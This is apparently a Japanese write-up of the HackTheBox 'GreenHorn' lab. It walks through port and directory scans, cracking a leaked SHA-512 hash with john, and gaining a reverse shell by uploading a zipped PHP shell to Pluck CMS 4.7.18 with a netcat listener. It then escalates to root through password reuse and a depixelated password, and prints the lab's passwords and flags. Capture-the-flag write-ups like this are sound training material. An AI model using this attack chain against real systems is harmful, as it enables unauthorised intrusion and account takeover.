概要
HackTheBox「GreenHorn」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sVC -T4 -A -p- 10.10.11.25 -oN nmap_resultPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=61270928145c2c03; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=BJxaEjpr3c9V1mdKEWcODCWFU0g6MTczMzQyNjMwNjU2NDU1MjIwNQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 05 Dec 2024 19:18:26 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=727a91389b86516c; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=CqoqkPPB1YNH-BTKOWbT9lbAV5o6MTczMzQyNjMxMjkwMjM1OTk1NQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 05 Dec 2024 19:18:32 GMT
|_ Content-Length: 0
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | nginx 1.18.0 |
3000 | http |
ドメインが分かったので/etc/hosts
に追記します。
10.10.11.25 greenhorn.htb
ポート80
のサイトではPluck CMS
が利用されていると分かりました。
ポート3000
ではGitea
が利用されていると分かりました。
/GreenAdmin/GreenHorn
にアクセスすると80
番ポートで動作しているPluck
のリポジトリがありました。
80
番ポートのディレクトリスキャンをします。
$ dirsearch -u http://greenhorn.htb
[14:45:03] 200 - 1KB - /login.php
[14:44:58] 200 - 4KB - /install.php
[14:44:06] 200 - 4KB - /admin.php
[14:44:42] 301 - 178B - /data -> http://greenhorn.htb/data/
[14:45:27] 200 - 2KB - /README.md
[14:45:29] 200 - 47B - /robots.txt
(省略)
/login.php
へアクセスすると、Pluck 4.7.18
だと分かりました。
該当バージョンの脆弱性を探すとRCEの脆弱性が見つかりました。
ZIPファイルをアップロードすることで任意のPHPコードを実行できるようです。
エクスプロイトには認証情報が必要になっています。
Gitea
のリポジトリを探索しているとdata/settings/pass.php
にハッシュ値の様な値を発見しました。
ハッシュ値を解析するとパスワードを特定できました。
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA512
iloveyou1 (?)
得られたパスワードでpluck cmsにログイン出来ました。
PHPのリバースシェルファイルを圧縮して、アップロードするZIPファイルを作成します。
$ zip exploit.zip php-reverse-shell.php
adding: php-reverse-shell.php (deflated 59%)
/admin.php?action=installmodule
からZIPファイルをアップロードします。
Netcatでリッスンし、/data/modules/exploit/php-reverse-shell.php
へアクセスするとシェルを張れました。
$ nc -lnvp 12345
listening on [any] 12345 ...
connect to [10.10.14.176] from (UNKNOWN) [10.10.11.25] 32832
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
09:42:25 up 21 min, 0 users, load average: 0.00, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
junior
アカウントへ昇格する必要があるようです。
$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Jun 20 06:36 .
drwxr-xr-x 20 root root 4096 Jun 20 07:06 ..
drwxr-x--- 2 git git 4096 Jun 20 06:36 git
drwxr-xr-x 3 junior junior 4096 Jun 20 06:36 junior
pluck cmsのログインに使用したパスワードでjunior
アカウントへ昇格出来ました。
$ su junior
su junior
Password: iloveyou1
junior@greenhorn:/var/www/html/pluck$ whoami
whoami
junior
/home/junior/user.txt
からユーザーフラグを入手できました。
$ cat user.txt
38afd29b3f78c7747910fe95bdeb4c45
Root Flag
/home/junior
ディレクトリを確認するとUsing OpenVAS.pdf
があります。
$ ls -la
ls -la
total 76
drwxr-xr-x 3 junior junior 4096 Jun 20 06:36 .
drwxr-xr-x 4 root root 4096 Jun 20 06:36 ..
lrwxrwxrwx 1 junior junior 9 Jun 11 14:38 .bash_history -> /dev/null
drwx------ 2 junior junior 4096 Jun 20 06:36 .cache
-rw-r----- 1 root junior 33 Dec 8 09:28 user.txt
-rw-r----- 1 root junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'
PDFをダウンロードし確認すると、パスワードがモザイク処理されていると分かります。
モザイク除去にDepix
というツールを利用しました。
モザイク部分を右クリックし、画像としてPNG形式で保存します。
Depixを実行しモザイクから平文を特定できました。
$ python3 depix.py \
-p ../pass_image.png \
-s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png \
-o ../test.png
パスワードはsidefromsidetheothersidesidefromsidetheotherside
のようです。
得られたパスワードでrootアカウントへ昇格出来ました。
$ su -
su -
Password: sidefromsidetheothersidesidefromsidetheotherside
# whoami
whoami
root
/root/root.txt
からルートフラグを入手できました。
cat /root/root.txt
120ddf20f15fa21316ce2d7a23347bfe